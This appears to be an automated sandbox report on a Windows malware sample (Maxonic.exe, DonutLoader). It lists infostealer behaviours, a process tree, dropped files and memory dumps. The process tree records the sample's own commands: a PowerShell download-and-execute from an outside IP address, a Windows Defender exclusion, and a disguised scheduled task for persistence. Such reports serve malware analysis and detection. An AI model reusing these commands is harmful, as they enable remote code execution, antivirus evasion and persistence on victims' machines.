Analysis

  • max time kernel
    298s
  • max time network
    155s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20251017-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    22/11/2025, 14:38

General

  • Target
    Maxonic.exe
  • Size 191KB
  • Sample251122-rzsatstjer
  • SHA256 658d3acfc7e71d6b3451973ab8c207dca57264f9b17fc9e37c8b7a1e46561489
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects DonutLoader 1 IoCs
  • DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Donutloader family
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Maxonic.exe
    "C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"
    1⤵
    • Checks computer location settings
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:1524
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:1656
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://95.217.39.238/ooewqi.ps1 |iex"
          2⤵
          • Badlisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3564
          • C:\Program Files\dotnet\dotnet.exe
            "C:\Program Files\dotnet\dotnet.exe" --list-runtimes
            3⤵
            • System Time Discovery
            PID:5376
          • C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe"
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4088
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1948
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "MicrosoftWindowsServiceHost" /tr "'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe'" /sc onlogon /rl highest /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1624
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe
              "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe"
              4⤵
              • Executes dropped EXE
              PID:2604
      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
        1⤵
          PID:4916
        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
          1⤵
            PID:4736

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                BA41D407-1BFC-3283-501F-04DB18B78CB3.txt

                • Path C:\ProgramData\BA41D407-1BFC-3283-501F-04DB18B78CB3.txt
                • Size 64B
                • SHA256 25edb4bfd739a9c167180e02fcca65384f3f80575b5be0a99f3c1c5f5ee01cf5
                • MD5 SHA1 SHA512

                BA41D407-1BFC-3283-501F-04DB18B78CB3.txt

                • Path C:\ProgramData\BA41D407-1BFC-3283-501F-04DB18B78CB3.txt
                • Size 64B
                • SHA256 1305b7a640e6370d67e0ecb7011206e45dda7b9cb4c29e8e5a6070ed349b30fa
                • MD5 SHA1 SHA512

                app.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
                • Size 5.9MB
                • SHA256 469e0027cb53e2ba2bfe66d4aac3ea456fe4e91efbd11b631db252a9a1b02a8e
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 23KB
                • SHA256 08d80a4f0aec78f3215e2855042ba5740fc56cfb006cc671f9c6f8cd73ba230a
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_azsq0jix.ads.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azsq0jix.ads.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/1948-77-0x0000016D690B0000-0x0000016D69B72000-memory.dmp

                memory/1948-71-0x0000016D69F80000-0x0000016D69FA2000-memory.dmp

                memory/2912-4-0x0000024ADF3B0000-0x0000024ADF472000-memory.dmp

                memory/3564-27-0x0000000008150000-0x00000000081E6000-memory.dmp

                memory/3564-40-0x0000000008130000-0x000000000814E000-memory.dmp

                memory/3564-22-0x0000000005F30000-0x0000000005F4E000-memory.dmp

                memory/3564-23-0x0000000005F70000-0x0000000005FBC000-memory.dmp

                memory/3564-24-0x0000000007780000-0x0000000007DFA000-memory.dmp

                memory/3564-25-0x0000000006480000-0x000000000649A000-memory.dmp

                memory/3564-26-0x00000000085B0000-0x0000000008D56000-memory.dmp

                memory/3564-28-0x0000000007730000-0x0000000007752000-memory.dmp

                memory/3564-13-0x0000000005830000-0x0000000005896000-memory.dmp

                memory/3564-29-0x0000000009D10000-0x000000000A2B6000-memory.dmp

                memory/3564-30-0x00000000083B0000-0x00000000083E2000-memory.dmp

                memory/3564-31-0x00000000711C0000-0x000000007120C000-memory.dmp

                memory/3564-32-0x0000000071350000-0x00000000716A7000-memory.dmp

                memory/3564-21-0x0000000005A60000-0x0000000005DB7000-memory.dmp

                memory/3564-41-0x00000000083F0000-0x0000000008493000-memory.dmp

                memory/3564-42-0x00000000083A0000-0x00000000083AA000-memory.dmp

                memory/3564-43-0x00000000084A0000-0x00000000084B1000-memory.dmp

                memory/3564-44-0x00000000084E0000-0x00000000084EE000-memory.dmp

                memory/3564-45-0x00000000084F0000-0x0000000008504000-memory.dmp

                memory/3564-46-0x0000000008540000-0x000000000855A000-memory.dmp

                memory/3564-47-0x0000000008530000-0x0000000008538000-memory.dmp

                memory/3564-48-0x0000000008550000-0x000000000857A000-memory.dmp

                memory/3564-49-0x0000000008580000-0x00000000085A4000-memory.dmp

                memory/3564-12-0x0000000004F70000-0x0000000004FD6000-memory.dmp

                memory/3564-11-0x0000000004ED0000-0x0000000004EF2000-memory.dmp

                memory/3564-10-0x0000000004FF0000-0x00000000056BA000-memory.dmp

                memory/3564-9-0x00000000048E0000-0x0000000004916000-memory.dmp